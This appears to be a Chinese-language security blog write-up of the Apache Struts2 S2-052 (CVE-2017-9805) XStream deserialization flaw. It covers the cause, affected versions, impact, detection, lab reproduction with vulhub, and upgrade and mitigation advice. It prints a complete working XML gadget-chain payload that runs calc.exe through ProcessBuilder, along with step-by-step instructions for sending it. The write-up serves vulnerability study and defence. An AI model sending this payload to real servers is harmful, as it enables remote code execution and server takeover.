一、漏洞概述
S2-052 是 Apache Struts2 框架中一个高危的远程代码执行漏洞(CVE-2017-9805),由安全研究人员于 2017 年发现并公开。该漏洞源于 Struts2 的 REST 插件在使用 XStream 组件处理 XML 反序列化时,未对用户输入的 XML 数据进行严格过滤,导致攻击者可构造恶意 XML 请求,在目标服务器上执行任意命令,获取系统权限。
二、漏洞成因
XStream 反序列化缺陷
Struts2 的 REST 插件通过
XStreamHandler
处理 XML 格式的请求数据,但未对反序列化过程中的类类型进行限制。攻击者可利用 XStream 的动态加载机制,通过恶意 XML 触发反射调用,执行系统命令。关键触发点
javax.imageio.spi.FilterIterator
:恶意 XML 中通过该类的next()
方法调用Filter
的filter()
,进而触发反射。javax.imageio.ImageIO$ContainsFilter
:通过反射调用java.lang.ProcessBuilder.start()
,执行系统命令。攻击链示例
恶意 XML 请求中构造多层嵌套对象,最终调用
ProcessBuilder.start()
,例如:
XML<map> <entry> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> <!-- 示例命令:弹出计算器 --> </command> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> </method> </filter> </serviceIterator> </cipher> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </entry> </map>
三、影响范围
受影响版本:Struts 2.3.x 系列:2.3.0 - 2.3.33、Struts 2.5.x 系列:2.5.0 - 2.5.12
不受影响版本:Struts 2.3.34 及以上、Struts 2.5.13 及以上
四、攻击场景与危害
- 攻击条件 :
- 目标系统使用受影响的 Struts2 版本。
- 启用了 REST 插件(默认可能未启用,但部分应用会显式配置)。
- 攻击者可构造恶意 XML 请求(如通过 Burp Suite 修改请求头和请求体)。
- 危害等级 :高危(CVSS 评分 9.8/10)
- 远程代码执行:攻击者可直接执行系统命令,获取服务器控制权。
- 数据泄露:通过命令执行读取敏感文件或数据库信息。
- 内网渗透:以受感染服务器为跳板,进一步攻击内网其他系统。
五、检测与复现
- 检测方法 :
- 版本检查:通过应用日志或管理界面确认 Struts2 版本。
- 请求模拟 :使用 Burp Suite 发送
Content-Type: application/xml
的请求,观察是否返回 500 错误(可能触发漏洞)。- 复现步骤(示例) :
- 环境搭建 :使用 Docker 启动存在漏洞的 Struts2 应用(如
vulhub/struts2/s2-052
)。- 构造请求 :
- 访问目标 URL(如
http://target/orders/3/edit
)。- 拦截请求,修改
Content-Type
为application/xml
。- 替换请求体为恶意 XML(如上述示例)。
- 验证结果:若服务器返回 500 错误且目标系统执行了命令(如弹出计算器),则漏洞存在。
六、修复与防护建议
- 升级框架 :立即升级至 Struts2 2.3.34 或 2.5.13 及以上版本。
- 临时缓解措施 :
- 禁用 REST 插件 :若无需 REST 功能,可在
struts.xml
中移除相关配置。- 限制 XML 处理 :通过自定义
XStreamPermissionProvider
限制允许反序列化的类。- 输入验证与过滤:对用户输入的 XML 数据进行严格校验,禁止特殊字符或恶意语法。
- 安全防护工具 :
- 部署 WAF(Web 应用防火墙),拦截包含恶意 XML 特征的请求。
- 使用 RASP(运行时应用自我保护) 技术监控异常行为。
七、历史案例与影响
2017 年大规模攻击:漏洞公开后,互联网上出现大量利用代码,导致全球数千台服务器被入侵。
企业级应用风险:金融、电商等行业的 Struts2 应用若未及时修复,可能面临数据泄露或业务中断。
结语
超级努力
追求极致
!!!
